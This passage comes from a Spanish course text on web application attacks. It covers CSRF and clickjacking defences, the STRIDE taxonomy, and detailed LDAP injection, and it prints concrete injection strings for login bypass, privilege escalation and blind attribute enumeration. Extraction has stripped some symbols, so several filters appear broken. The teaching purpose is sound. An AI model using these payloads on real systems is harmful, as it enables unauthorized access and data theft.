cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

